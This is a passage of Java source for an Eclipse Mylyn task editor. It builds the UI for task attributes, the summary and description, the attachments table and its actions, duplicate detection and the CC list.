toolkit.adapt(text, true, true); text.setText(modifiedDateString); } } private void addNameValue(Composite parent, RepositoryTaskAttribute attribute) { Composite nameValue = toolkit.createComposite(parent); nameValue.setLayout(new GridLayout(2, false)); if (attribute != null) { createLabel(nameValue, attribute); createTextField(nameValue, attribute, SWT.FLAT | SWT.READ_ONLY); } } /** * Utility method to create text field sets background to TaskListColorsAndFonts.COLOR_ATTRIBUTE_CHANGED if * attribute has changed. * * @param composite * @param attribute * @param style */ protected Text createTextField(Composite composite, RepositoryTaskAttribute attribute, int style) { String value; if (attribute == null || attribute.getValue() == null) { value = ""; } else { value = attribute.getValue(); } final Text text; if ((SWT.READ_ONLY & style) == SWT.READ_ONLY) { text = new Text(composite, style); toolkit.adapt(text, true, true); text.setData(FormToolkit.KEY_DRAW_BORDER, Boolean.FALSE); text.setText(value); } else { text = toolkit.createText(composite, value, style); } if (attribute != null && !attribute.isReadOnly()) { text.setData(attribute); text.addModifyListener(new ModifyListener() { public void modifyText(ModifyEvent e) { String newValue = text.getText(); RepositoryTaskAttribute attribute = (RepositoryTaskAttribute) text.getData(); attribute.setValue(newValue); attributeChanged(attribute); } }); } if (hasChanged(attribute)) { text.setBackground(colorIncoming); } return text; } protected Label createLabel(Composite composite, RepositoryTaskAttribute attribute) { Label label; if (hasOutgoingChange(attribute)) { label = toolkit.createLabel(composite, "*" + attribute.getName()); } else { label = toolkit.createLabel(composite, attribute.getName()); } label.setForeground(toolkit.getColors().getColor(IFormColors.TITLE)); GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); return label; } public String getSectionLabel(SECTION_NAME labelName) { return labelName.getPrettyName(); } /** * Creates the attribute section, which contains most of the basic attributes of the task (some of which are * editable). */ protected void createAttributeLayout(Composite attributesComposite) { int numColumns = ((GridLayout) attributesComposite.getLayout()).numColumns; int currentCol = 1; for (final RepositoryTaskAttribute attribute : taskData.getAttributes()) { if (attribute.isHidden()) { continue; } GridData data = new GridData(GridData.HORIZONTAL_ALIGN_FILL); data.horizontalSpan = 1; if (attribute.hasOptions() && !attribute.isReadOnly()) { Label label = createLabel(attributesComposite, attribute); GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); final CCombo attributeCombo = new CCombo(attributesComposite, SWT.FLAT | SWT.READ_ONLY); toolkit.adapt(attributeCombo, true, true); attributeCombo.setFont(TEXT_FONT); attributeCombo.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); if (hasChanged(attribute)) { attributeCombo.setBackground(colorIncoming); } attributeCombo.setLayoutData(data); List<String> values = attribute.getOptions(); if (values != null) { for (String val : values) { if (val != null) { attributeCombo.add(val); } } } String value = attribute.getValue(); if (value == null) { value = ""; } if (attributeCombo.indexOf(value) != -1) { attributeCombo.select(attributeCombo.indexOf(value)); } attributeCombo.clearSelection(); attributeCombo.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent event) { if (attributeCombo.getSelectionIndex() > -1) { String sel = attributeCombo.getItem(attributeCombo.getSelectionIndex()); attribute.setValue(sel); attributeChanged(attribute); attributeCombo.clearSelection(); } } }); currentCol += 2; } else { Label label = createLabel(attributesComposite, attribute); GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); Composite textFieldComposite = toolkit.createComposite(attributesComposite); GridLayout textLayout = new GridLayout(); textLayout.marginWidth = 1; textLayout.marginHeight = 2; textFieldComposite.setLayout(textLayout); GridData textData = new GridData(GridData.HORIZONTAL_ALIGN_FILL); textData.horizontalSpan = 1; textData.widthHint = 135; if (attribute.isReadOnly()) { final Text text = createTextField(textFieldComposite, attribute, SWT.FLAT | SWT.READ_ONLY); text.setLayoutData(textData); } else { final Text text = createTextField(textFieldComposite, attribute, SWT.FLAT); // text.setFont(COMMENT_FONT); text.setLayoutData(textData); toolkit.paintBordersFor(textFieldComposite); text.setData(attribute); if (hasContentAssist(attribute)) { ContentAssistCommandAdapter adapter = applyContentAssist(text, createContentProposalProvider(attribute)); ILabelProvider propsalLabelProvider = createProposalLabelProvider(attribute); if (propsalLabelProvider != null) { adapter.setLabelProvider(propsalLabelProvider); } adapter.setProposalAcceptanceStyle(ContentProposalAdapter.PROPOSAL_REPLACE); } } currentCol += 2; } if (currentCol > numColumns) { currentCol -= numColumns; } } // make sure that we are in the first column if (currentCol > 1) { while (currentCol <= numColumns) { toolkit.createLabel(attributesComposite, ""); currentCol++; } } toolkit.paintBordersFor(attributesComposite); } /** * Adds a related bugs section to the bug editor */ protected void createRelatedBugsSection(Composite composite) { // Section relatedBugsSection = createSection(editorComposite, getSectionLabel(SECTION_NAME.RELATEDBUGS_SECTION)); // Composite relatedBugsComposite = toolkit.createComposite(relatedBugsSection); // relatedBugsComposite.setLayout(new GridLayout(4, false)); // relatedBugsComposite.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_FILL)); // relatedBugsSection.setClient(relatedBugsComposite); // relatedBugsSection.setExpanded(repositoryTask == null); // List<AbstractDuplicateDetector> allCollectors = new ArrayList<AbstractDuplicateDetector>(); // if (getDuplicateSearchCollectorsList() != null) { // allCollectors.addAll(getDuplicateSearchCollectorsList()); // if (!allCollectors.isEmpty()) { // duplicateDetectorLabel = new Label(relatedBugsComposite, SWT.LEFT); // duplicateDetectorLabel.setText(LABEL_SELECT_DETECTOR); // duplicateDetectorChooser = new CCombo(relatedBugsComposite, SWT.FLAT | SWT.READ_ONLY | SWT.BORDER); // duplicateDetectorChooser.setLayoutData(GridDataFactory.swtDefaults().hint(150, SWT.DEFAULT).create()); // duplicateDetectorChooser.setFont(TEXT_FONT); // Collections.sort(allCollectors, new Comparator<AbstractDuplicateDetector>() { // public int compare(AbstractDuplicateDetector c1, AbstractDuplicateDetector c2) { // return c1.getName().compareToIgnoreCase(c2.getName()); // for (AbstractDuplicateDetector detector : allCollectors) { // duplicateDetectorChooser.add(detector.getName()); // duplicateDetectorChooser.select(0); // duplicateDetectorChooser.setEnabled(true); // duplicateDetectorChooser.setData(allCollectors); // if (allCollectors.size() > 0) { // searchForDuplicates = toolkit.createButton(relatedBugsComposite, LABEL_SEARCH_DUPS, SWT.NONE); // GridData searchDuplicatesButtonData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); // searchForDuplicates.setLayoutData(searchDuplicatesButtonData); // searchForDuplicates.addListener(SWT.Selection, new Listener() { // public void handleEvent(Event e) { // searchForDuplicates(); // } else { // Label label = new Label(relatedBugsComposite, SWT.LEFT); // label.setText(LABEL_NO_DETECTOR); } protected SearchHitCollector getDuplicateSearchCollector(String name) { return null; } protected Set<AbstractDuplicateDetector> getDuplicateSearchCollectorsList() { return null; } public boolean searchForDuplicates() { String duplicateDetectorName = duplicateDetectorChooser.getItem(duplicateDetectorChooser.getSelectionIndex()); SearchHitCollector collector = getDuplicateSearchCollector(duplicateDetectorName); if (collector != null) { NewSearchUI.runQueryInBackground(collector); return true; } return false; } /** * Adds content assist to the given text field. * * @param text * text field to decorate. * @param proposalProvider * instance providing content proposals * @return the ContentAssistCommandAdapter for the field. */ protected ContentAssistCommandAdapter applyContentAssist(Text text, IContentProposalProvider proposalProvider) { ControlDecoration controlDecoration = new ControlDecoration(text, (SWT.TOP | SWT.LEFT)); controlDecoration.setMarginWidth(0); controlDecoration.setShowHover(true); controlDecoration.setShowOnlyOnFocus(true); FieldDecoration contentProposalImage = FieldDecorationRegistry.getDefault().getFieldDecoration( FieldDecorationRegistry.DEC_CONTENT_PROPOSAL); controlDecoration.setImage(contentProposalImage.getImage()); TextContentAdapter textContentAdapter = new TextContentAdapter(); ContentAssistCommandAdapter adapter = new ContentAssistCommandAdapter(text, textContentAdapter, proposalProvider, "org.eclipse.ui.edit.text.contentAssist.proposals", new char[0]); IBindingService bindingService = (IBindingService) PlatformUI.getWorkbench().getService(IBindingService.class); controlDecoration.setDescriptionText(NLS.bind("Content Assist Available ({0})", bindingService.getBestActiveBindingFormattedFor(adapter.getCommandId()))); return adapter; } /** * Creates an IContentProposalProvider to provide content assist proposals for the given attribute. * * @param attribute * attribute for which to provide content assist. * @return the IContentProposalProvider. */ protected IContentProposalProvider createContentProposalProvider(RepositoryTaskAttribute attribute) { return new PersonProposalProvider(repositoryTask, taskData); } /** * Creates an IContentProposalProvider to provide content assist proposals for the given operation. * * @param operation * operation for which to provide content assist. * @return the IContentProposalProvider. */ protected IContentProposalProvider createContentProposalProvider(RepositoryOperation operation) { return new PersonProposalProvider(repositoryTask, taskData); } protected ILabelProvider createProposalLabelProvider(RepositoryTaskAttribute attribute) { return new PersonProposalLabelProvider(); } protected ILabelProvider createProposalLabelProvider(RepositoryOperation operation) { return new PersonProposalLabelProvider(); } /** * Called to check if there's content assist available for the given attribute. * * @param attribute * the attribute * @return true if content assist is available for the specified attribute. */ protected boolean hasContentAssist(RepositoryTaskAttribute attribute) { return false; } /** * Called to check if there's content assist available for the given operation. * * @param operation * the operation * @return true if content assist is available for the specified operation. */ protected boolean hasContentAssist(RepositoryOperation operation) { return false; } /** * Adds a text editor with spell checking enabled to display and edit the task's summary. * * @author Raphael Ackermann (modifications) (bug 195514) * @param attributesComposite * The composite to add the text editor to. */ protected void addSummaryText(Composite attributesComposite) { Composite summaryComposite = toolkit.createComposite(attributesComposite); GridLayout summaryLayout = new GridLayout(2, false); summaryLayout.verticalSpacing = 0; summaryLayout.marginHeight = 2; summaryComposite.setLayout(summaryLayout); GridDataFactory.fillDefaults().grab(true, false).applyTo(summaryComposite); if (taskData != null) { RepositoryTaskAttribute attribute = taskData.getAttribute(RepositoryTaskAttribute.SUMMARY); if (attribute == null) { taskData.setAttributeValue(RepositoryTaskAttribute.SUMMARY, ""); attribute = taskData.getAttribute(RepositoryTaskAttribute.SUMMARY); } summaryTextViewer = addTextEditor(repository, summaryComposite, attribute.getValue(), true, SWT.FLAT | SWT.SINGLE); summaryTextViewer.setEditable(true); summaryText = summaryTextViewer.getTextWidget(); summaryText.setIndent(2); GridDataFactory.fillDefaults().grab(true, false).applyTo(summaryTextViewer.getControl()); if (hasChanged(attribute)) { summaryTextViewer.getTextWidget().setBackground(colorIncoming); } summaryTextViewer.getControl().setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); final RepositoryTaskAttribute summaryAttribute = attribute; summaryTextViewer.addTextListener(new ITextListener() { public void textChanged(TextEvent event) { String newValue = summaryTextViewer.getTextWidget().getText(); if (!newValue.equals(summaryAttribute.getValue())) { summaryAttribute.setValue(newValue); attributeChanged(summaryAttribute); } } }); } toolkit.paintBordersFor(summaryComposite); } protected boolean supportsAttachmentDelete() { return false; } protected void deleteAttachment(RepositoryAttachment attachment) { } protected void createAttachmentLayout(Composite composite) { // TODO: expand to show new attachments Section section = createSection(composite, getSectionLabel(SECTION_NAME.ATTACHMENTS_SECTION)); section.setText(section.getText() + " (" + taskData.getAttachments().size() + ")"); section.setExpanded(false); final Composite attachmentsComposite = toolkit.createComposite(section); attachmentsComposite.setLayout(new GridLayout(1, false)); attachmentsComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); section.setClient(attachmentsComposite); if (taskData.getAttachments().size() > 0) { attachmentsTable = toolkit.createTable(attachmentsComposite, SWT.SINGLE | SWT.BORDER | SWT.FULL_SELECTION); attachmentsTable.setLinesVisible(true); attachmentsTable.setHeaderVisible(true); attachmentsTable.setLayout(new GridLayout()); GridData tableGridData = new GridData(SWT.FILL, SWT.FILL, true, true); attachmentsTable.setLayoutData(tableGridData); for (int i = 0; i < attachmentsColumns.length; i++) { TableColumn column = new TableColumn(attachmentsTable, SWT.LEFT, i); column.setText(attachmentsColumns[i]); column.setWidth(attachmentsColumnWidths[i]); } attachmentsTableViewer = new TableViewer(attachmentsTable); attachmentsTableViewer.setUseHashlookup(true); attachmentsTableViewer.setColumnProperties(attachmentsColumns); ColumnViewerToolTipSupport.enableFor(attachmentsTableViewer, ToolTip.NO_RECREATE); final AbstractTaskDataHandler offlineHandler = connector.getTaskDataHandler(); if (offlineHandler != null) { attachmentsTableViewer.setSorter(new ViewerSorter() { public int compare(Viewer viewer, Object e1, Object e2) { RepositoryAttachment attachment1 = (RepositoryAttachment) e1; RepositoryAttachment attachment2 = (RepositoryAttachment) e2; Date created1 = taskData.getAttributeFactory().getDateForAttributeType( RepositoryTaskAttribute.ATTACHMENT_DATE, attachment1.getDateCreated()); Date created2 = taskData.getAttributeFactory().getDateForAttributeType( RepositoryTaskAttribute.ATTACHMENT_DATE, attachment2.getDateCreated()); if (created1 != null && created2 != null) { return created1.compareTo(created2); } else if (created1 == null && created2 != null) { return -1; } else if (created1 != null && created2 == null) { return 1; } else { return 0; } } }); } attachmentsTableViewer.setContentProvider(new AttachmentsTableContentProvider(taskData.getAttachments())); attachmentsTableViewer.setLabelProvider(new AttachmentTableLabelProvider(this, new LabelProvider(), PlatformUI.getWorkbench().getDecoratorManager().getLabelDecorator())); attachmentsTableViewer.addDoubleClickListener(new IDoubleClickListener() { public void doubleClick(DoubleClickEvent event) { if (!event.getSelection().isEmpty()) { StructuredSelection selection = (StructuredSelection) event.getSelection(); RepositoryAttachment attachment = (RepositoryAttachment) selection.getFirstElement(); TasksUiUtil.openUrl(attachment.getUrl(), false); } } }); attachmentsTableViewer.setInput(taskData); final Action openWithBrowserAction = new Action(LABEL_BROWSER) { public void run() { RepositoryAttachment attachment = (RepositoryAttachment) (((StructuredSelection) attachmentsTableViewer.getSelection()).getFirstElement()); if (attachment != null) { TasksUiUtil.openUrl(attachment.getUrl(), false); } } }; final Action openWithDefaultAction = new Action(LABEL_DEFAULT_EDITOR) { public void run() { // browser shortcut RepositoryAttachment attachment = (RepositoryAttachment) (((StructuredSelection) attachmentsTableViewer.getSelection()).getFirstElement()); if (attachment == null) return; if (attachment.getContentType().endsWith(CTYPE_HTML)) { TasksUiUtil.openUrl(attachment.getUrl(), false); return; } IStorageEditorInput input = new RepositoryAttachmentEditorInput(repository, attachment); IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); if (page == null) { return; } IEditorDescriptor desc = PlatformUI.getWorkbench().getEditorRegistry().getDefaultEditor( input.getName()); try { page.openEditor(input, desc.getId()); } catch (PartInitException e) { StatusHandler.fail(e, "Unable to open editor for: " + attachment.getDescription(), false); } } }; final Action openWithTextEditorAction = new Action(LABEL_TEXT_EDITOR) { public void run() { RepositoryAttachment attachment = (RepositoryAttachment) (((StructuredSelection) attachmentsTableViewer.getSelection()).getFirstElement()); IStorageEditorInput input = new RepositoryAttachmentEditorInput(repository, attachment); IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); if (page == null) { return; } try { page.openEditor(input, "org.eclipse.ui.DefaultTextEditor"); } catch (PartInitException e) { StatusHandler.fail(e, "Unable to open editor for: " + attachment.getDescription(), false); } } }; final Action saveAction = new Action(LABEL_SAVE) { public void run() { RepositoryAttachment attachment = (RepositoryAttachment) (((StructuredSelection) attachmentsTableViewer.getSelection()).getFirstElement()); /* Launch Browser */ FileDialog fileChooser = new FileDialog(attachmentsTable.getShell(), SWT.SAVE); String fname = attachment.getAttributeValue(RepositoryTaskAttribute.ATTACHMENT_FILENAME); // Default name if none is found if (fname.equals("")) { String ctype = attachment.getContentType(); if (ctype.endsWith(CTYPE_HTML)) { fname = ATTACHMENT_DEFAULT_NAME + ".html"; } else if (ctype.startsWith(CTYPE_TEXT)) { fname = ATTACHMENT_DEFAULT_NAME + ".txt"; } else if (ctype.endsWith(CTYPE_OCTET_STREAM)) { fname = ATTACHMENT_DEFAULT_NAME; } else if (ctype.endsWith(CTYPE_ZIP)) { fname = ATTACHMENT_DEFAULT_NAME + "." + CTYPE_ZIP; } else { fname = ATTACHMENT_DEFAULT_NAME + "." + ctype.substring(ctype.indexOf("/") + 1); } } fileChooser.setFileName(fname); String filePath = fileChooser.open(); // Check if the dialog was canceled or an error occurred if (filePath == null) { return; } DownloadAttachmentJob job = new DownloadAttachmentJob(attachment, new File(filePath)); job.setUser(true); job.schedule(); } }; final Action copyToClipAction = new Action(LABEL_COPY_TO_CLIPBOARD) { public void run() { RepositoryAttachment attachment = (RepositoryAttachment) (((StructuredSelection) attachmentsTableViewer.getSelection()).getFirstElement()); CopyAttachmentToClipboardJob job = new CopyAttachmentToClipboardJob(attachment); job.setUser(true); job.schedule(); } }; final MenuManager popupMenu = new MenuManager(); final Menu menu = popupMenu.createContextMenu(attachmentsTable); attachmentsTable.setMenu(menu); final MenuManager openMenu = new MenuManager("Open With"); popupMenu.addMenuListener(new IMenuListener() { public void menuAboutToShow(IMenuManager manager) { popupMenu.removeAll(); ISelection selection = attachmentsTableViewer.getSelection(); if (selection.isEmpty()) { return; } RepositoryAttachment att = (RepositoryAttachment) ((StructuredSelection) selection).getFirstElement(); // reinitialize menu popupMenu.add(openMenu); openMenu.removeAll(); IStorageEditorInput input = new RepositoryAttachmentEditorInput(repository, att); IEditorDescriptor desc = PlatformUI.getWorkbench().getEditorRegistry().getDefaultEditor( input.getName()); if (desc != null) { openMenu.add(openWithDefaultAction); } openMenu.add(openWithBrowserAction); openMenu.add(openWithTextEditorAction); popupMenu.add(new Separator()); popupMenu.add(saveAction); if (att.getContentType().startsWith(CTYPE_TEXT) || att.getContentType().endsWith("xml")) { popupMenu.add(copyToClipAction); } popupMenu.add(new Separator("actions")); // TODO: use workbench mechanism for this? ObjectActionContributorManager.getManager().contributeObjectActions( AbstractRepositoryTaskEditor.this, popupMenu, attachmentsTableViewer); } }); } else { Label label = toolkit.createLabel(attachmentsComposite, "No attachments"); registerDropListener(label); } final Composite attachmentControlsComposite = toolkit.createComposite(attachmentsComposite); attachmentControlsComposite.setLayout(new GridLayout(2, false)); attachmentControlsComposite.setLayoutData(new GridData(GridData.BEGINNING)); /* Launch a NewAttachemntWizard */ Button addAttachmentButton = toolkit.createButton(attachmentControlsComposite, "Attach File...", SWT.PUSH); AbstractTask task = TasksUiPlugin.getTaskListManager().getTaskList().getTask(repository.getUrl(), taskData.getId()); if (task == null) { addAttachmentButton.setEnabled(false); } addAttachmentButton.addSelectionListener(new SelectionListener() { public void widgetDefaultSelected(SelectionEvent e) { // ignore } public void widgetSelected(SelectionEvent e) { AbstractTask task = TasksUiPlugin.getTaskListManager().getTaskList().getTask(repository.getUrl(), taskData.getId()); if (!(task != null)) { // Should not happen return; } if (AbstractRepositoryTaskEditor.this.isDirty || task.getSynchronizationState().equals(RepositoryTaskSyncState.OUTGOING)) { MessageDialog.openInformation(attachmentsComposite.getShell(), "Task not synchronized or dirty editor", "Commit edits or synchronize task before adding attachments."); return; } else { AttachFileAction attachFileAction = new AttachFileAction(); attachFileAction.selectionChanged(new StructuredSelection(task)); attachFileAction.setEditor(parentEditor); attachFileAction.run(); } } }); Button deleteAttachmentButton = null; if (supportsAttachmentDelete()) { deleteAttachmentButton = toolkit.createButton(attachmentControlsComposite, "Delete Attachment...", SWT.PUSH); deleteAttachmentButton.addSelectionListener(new SelectionListener() { public void widgetDefaultSelected(SelectionEvent e) { // ignore } public void widgetSelected(SelectionEvent e) { AbstractTask task = TasksUiPlugin.getTaskListManager().getTaskList().getTask(repository.getUrl(), taskData.getId()); if (task == null) { // Should not happen return; } if (AbstractRepositoryTaskEditor.this.isDirty || task.getSynchronizationState().equals(RepositoryTaskSyncState.OUTGOING)) { MessageDialog.openInformation(attachmentsComposite.getShell(), "Task not synchronized or dirty editor", "Commit edits or synchronize task before deleting attachments."); return; } else { if (attachmentsTableViewer != null && attachmentsTableViewer.getSelection() != null && ((StructuredSelection) attachmentsTableViewer.getSelection()).getFirstElement() != null) { RepositoryAttachment attachment = (RepositoryAttachment) (((StructuredSelection) attachmentsTableViewer.getSelection()).getFirstElement()); deleteAttachment(attachment); submitToRepository(); } } } }); } registerDropListener(section); registerDropListener(attachmentsComposite); registerDropListener(addAttachmentButton); if (supportsAttachmentDelete()) { registerDropListener(deleteAttachmentButton); } } private void registerDropListener(final Control control) { DropTarget target = new DropTarget(control, DND.DROP_COPY | DND.DROP_DEFAULT); final TextTransfer textTransfer = TextTransfer.getInstance(); final FileTransfer fileTransfer = FileTransfer.getInstance(); Transfer[] types = new Transfer[] { textTransfer, fileTransfer }; target.setTransfer(types); // Adapted from eclipse.org DND Article by Veronika Irvine, IBM OTI Labs // http://www.eclipse.org/articles/Article-SWT-DND/DND-in-SWT.html#_dt10D target.addDropListener(new RepositoryTaskEditorDropListener(this, fileTransfer, textTransfer, control)); } protected void createDescriptionLayout(Composite composite) { Section descriptionSection = createSection(composite, getSectionLabel(SECTION_NAME.DESCRIPTION_SECTION)); final Composite sectionComposite = toolkit.createComposite(descriptionSection); descriptionSection.setClient(sectionComposite); GridLayout addCommentsLayout = new GridLayout(); addCommentsLayout.numColumns = 1; sectionComposite.setLayout(addCommentsLayout); GridData sectionCompositeData = new GridData(GridData.FILL_HORIZONTAL); sectionComposite.setLayoutData(sectionCompositeData); RepositoryTaskAttribute attribute = taskData.getDescriptionAttribute(); if (attribute != null && !attribute.isReadOnly()) { if (getRenderingEngine() != null) { // composite with StackLayout to hold text editor and preview widget Composite descriptionComposite = toolkit.createComposite(sectionComposite); descriptionComposite.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); GridData descriptionGridData = new GridData(GridData.FILL_BOTH); descriptionGridData.widthHint = DESCRIPTION_WIDTH; descriptionGridData.minimumHeight = DESCRIPTION_HEIGHT; descriptionGridData.grabExcessHorizontalSpace = true; descriptionComposite.setLayoutData(descriptionGridData); final StackLayout descriptionLayout = new StackLayout(); descriptionComposite.setLayout(descriptionLayout); descriptionTextViewer = addTextEditor(repository, descriptionComposite, taskData.getDescription(), true, SWT.FLAT | SWT.MULTI | SWT.WRAP | SWT.V_SCROLL); descriptionLayout.topControl = descriptionTextViewer.getControl(); descriptionComposite.layout(); // composite for edit/preview button Composite buttonComposite = toolkit.createComposite(sectionComposite); buttonComposite.setLayout(new GridLayout()); createPreviewButton(buttonComposite, descriptionTextViewer, descriptionComposite, descriptionLayout); } else { descriptionTextViewer = addTextEditor(repository, sectionComposite, taskData.getDescription(), true, SWT.FLAT | SWT.MULTI | SWT.WRAP | SWT.V_SCROLL); GridData gd = new GridData(GridData.FILL_HORIZONTAL); gd.widthHint = DESCRIPTION_WIDTH; gd.minimumHeight = DESCRIPTION_HEIGHT; gd.grabExcessHorizontalSpace = true; descriptionTextViewer.getControl().setLayoutData(gd); descriptionTextViewer.getControl().setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); } descriptionTextViewer.setEditable(true); descriptionTextViewer.addTextListener(new ITextListener() { public void textChanged(TextEvent event) { String newValue = descriptionTextViewer.getTextWidget().getText(); RepositoryTaskAttribute attribute = taskData.getAttribute(RepositoryTaskAttribute.DESCRIPTION); if (attribute != null && !newValue.equals(attribute.getValue())) { attribute.setValue(newValue); attributeChanged(attribute); taskData.setDescription(newValue); } } }); StyledText styledText = descriptionTextViewer.getTextWidget(); controlBySelectableObject.put(taskData.getDescription(), styledText); } else { String text = taskData.getDescription(); descriptionTextViewer = addTextViewer(repository, sectionComposite, text, SWT.MULTI | SWT.WRAP); StyledText styledText = descriptionTextViewer.getTextWidget(); GridDataFactory.fillDefaults().hint(DESCRIPTION_WIDTH, SWT.DEFAULT).applyTo( descriptionTextViewer.getControl()); controlBySelectableObject.put(text, styledText); } if (hasChanged(taskData.getAttribute(RepositoryTaskAttribute.DESCRIPTION))) { descriptionTextViewer.getTextWidget().setBackground(colorIncoming); } descriptionTextViewer.getTextWidget().addListener(SWT.FocusIn, new DescriptionListener()); Composite replyComp = toolkit.createComposite(descriptionSection); replyComp.setLayout(new RowLayout()); replyComp.setBackground(null); createReplyHyperlink(0, replyComp, taskData.getDescription()); descriptionSection.setTextClient(replyComp); // duplicatesSection.setBackground(new Color(form.getDisplay(), 123, 22, 45)); addDuplicateDetection(sectionComposite); toolkit.paintBordersFor(sectionComposite); } protected ImageHyperlink createReplyHyperlink(final int commentNum, Composite composite, final String commentBody) { final ImageHyperlink replyLink = new ImageHyperlink(composite, SWT.NULL); toolkit.adapt(replyLink, true, true); replyLink.setImage(TasksUiImages.getImage(TasksUiImages.REPLY)); replyLink.setToolTipText(LABEL_REPLY); // no need for the background - transparency will take care of it replyLink.setBackground(null); // replyLink.setBackground(section.getTitleBarGradientBackground()); replyLink.addHyperlinkListener(new HyperlinkAdapter() { public void linkActivated(HyperlinkEvent e) { String oldText = newCommentTextViewer.getDocument().get(); StringBuilder strBuilder = new StringBuilder(); strBuilder.append(oldText); if (strBuilder.length() != 0) { strBuilder.append("\n"); } strBuilder.append(" (In reply to comment #" + commentNum + ")\n"); CommentQuoter quoter = new CommentQuoter(); strBuilder.append(quoter.quote(commentBody)); newCommentTextViewer.getDocument().set(strBuilder.toString()); RepositoryTaskAttribute attribute = taskData.getAttribute(RepositoryTaskAttribute.COMMENT_NEW); if (attribute != null) { attribute.setValue(strBuilder.toString()); attributeChanged(attribute); } selectNewComment(); newCommentTextViewer.getTextWidget().setCaretOffset(strBuilder.length()); } }); return replyLink; } protected void addDuplicateDetection(Composite composite) { List<AbstractDuplicateDetector> allCollectors = new ArrayList<AbstractDuplicateDetector>(); if (getDuplicateSearchCollectorsList() != null) { allCollectors.addAll(getDuplicateSearchCollectorsList()); } if (!allCollectors.isEmpty()) { Section duplicatesSection = toolkit.createSection(composite, ExpandableComposite.TWISTIE | ExpandableComposite.SHORT_TITLE_BAR); duplicatesSection.setText(LABEL_SELECT_DETECTOR); duplicatesSection.setLayout(new GridLayout()); GridDataFactory.fillDefaults().indent(SWT.DEFAULT, 15).applyTo(duplicatesSection); Composite relatedBugsComposite = toolkit.createComposite(duplicatesSection); relatedBugsComposite.setLayout(new GridLayout(4, false)); relatedBugsComposite.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_FILL)); duplicatesSection.setClient(relatedBugsComposite); duplicateDetectorLabel = new Label(relatedBugsComposite, SWT.LEFT); duplicateDetectorLabel.setText("Detector:"); duplicateDetectorChooser = new CCombo(relatedBugsComposite, SWT.FLAT | SWT.READ_ONLY); toolkit.adapt(duplicateDetectorChooser, true, true); duplicateDetectorChooser.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); duplicateDetectorChooser.setFont(TEXT_FONT); duplicateDetectorChooser.setLayoutData(GridDataFactory.swtDefaults().hint(150, SWT.DEFAULT).create()); Collections.sort(allCollectors, new Comparator<AbstractDuplicateDetector>() { public int compare(AbstractDuplicateDetector c1, AbstractDuplicateDetector c2) { return c1.getName().compareToIgnoreCase(c2.getName()); } }); for (AbstractDuplicateDetector detector : allCollectors) { duplicateDetectorChooser.add(detector.getName()); } duplicateDetectorChooser.select(0); duplicateDetectorChooser.setEnabled(true); duplicateDetectorChooser.setData(allCollectors); if (allCollectors.size() > 0) { searchForDuplicates = toolkit.createButton(relatedBugsComposite, LABEL_SEARCH_DUPS, SWT.NONE); GridData searchDuplicatesButtonData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); searchForDuplicates.setLayoutData(searchDuplicatesButtonData); searchForDuplicates.addListener(SWT.Selection, new Listener() { public void handleEvent(Event e) { searchForDuplicates(); } }); } // } else { // Label label = new Label(composite, SWT.LEFT); // label.setText(LABEL_NO_DETECTOR); toolkit.paintBordersFor(relatedBugsComposite); } } protected void createCustomAttributeLayout(Composite composite) { // override } protected void createPeopleLayout(Composite composite) { Section peopleSection = createSection(composite, getSectionLabel(SECTION_NAME.PEOPLE_SECTION)); GridDataFactory.fillDefaults().align(SWT.FILL, SWT.TOP).grab(true, true).applyTo(peopleSection); Composite peopleComposite = toolkit.createComposite(peopleSection); GridLayout layout = new GridLayout(2, false); layout.marginWidth = 5; peopleComposite.setLayout(layout); GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(peopleComposite); addAssignedTo(peopleComposite); RepositoryTaskAttribute reporterAttribute = taskData.getAttribute(RepositoryTaskAttribute.USER_REPORTER); if (reporterAttribute != null) { Label label = createLabel(peopleComposite, reporterAttribute); GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); Text textField = createTextField(peopleComposite, reporterAttribute, SWT.FLAT | SWT.READ_ONLY); GridDataFactory.fillDefaults().hint(150, SWT.DEFAULT).applyTo(textField); } addSelfToCC(peopleComposite); addCCList(peopleComposite); getManagedForm().getToolkit().paintBordersFor(peopleComposite); peopleSection.setClient(peopleComposite); peopleSection.setEnabled(true); } protected void addCCList(Composite attributesComposite) { RepositoryTaskAttribute addCCattribute = taskData.getAttribute(RepositoryTaskAttribute.NEW_CC); if (addCCattribute == null) { // TODO: remove once TRAC is priming taskData with NEW_CC attribute taskData.setAttributeValue(RepositoryTaskAttribute.NEW_CC, ""); addCCattribute = taskData.getAttribute(RepositoryTaskAttribute.NEW_CC); } if (addCCattribute != null) { Label label = createLabel(attributesComposite, addCCattribute); GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); Text text = createTextField(attributesComposite, addCCattribute, SWT.FLAT); GridDataFactory.fillDefaults().hint(150, SWT.DEFAULT).applyTo(text); if (hasContentAssist(addCCattribute)) { ContentAssistCommandAdapter adapter = applyContentAssist(text, createContentProposalProvider(addCCattribute)); ILabelProvider propsalLabelProvider = createProposalLabelProvider(addCCattribute); if (propsalLabelProvider != null) { adapter.setLabelProvider(propsalLabelProvider); } adapter.setProposalAcceptanceStyle(ContentProposalAdapter.PROPOSAL_REPLACE); } } RepositoryTaskAttribute CCattribute = taskData.getAttribute(RepositoryTaskAttribute.USER_CC); if (CCattribute != null) { Label label = createLabel(attributesComposite, CCattribute); GridDataFactory.fillDefaults().align(SWT.RIGHT, 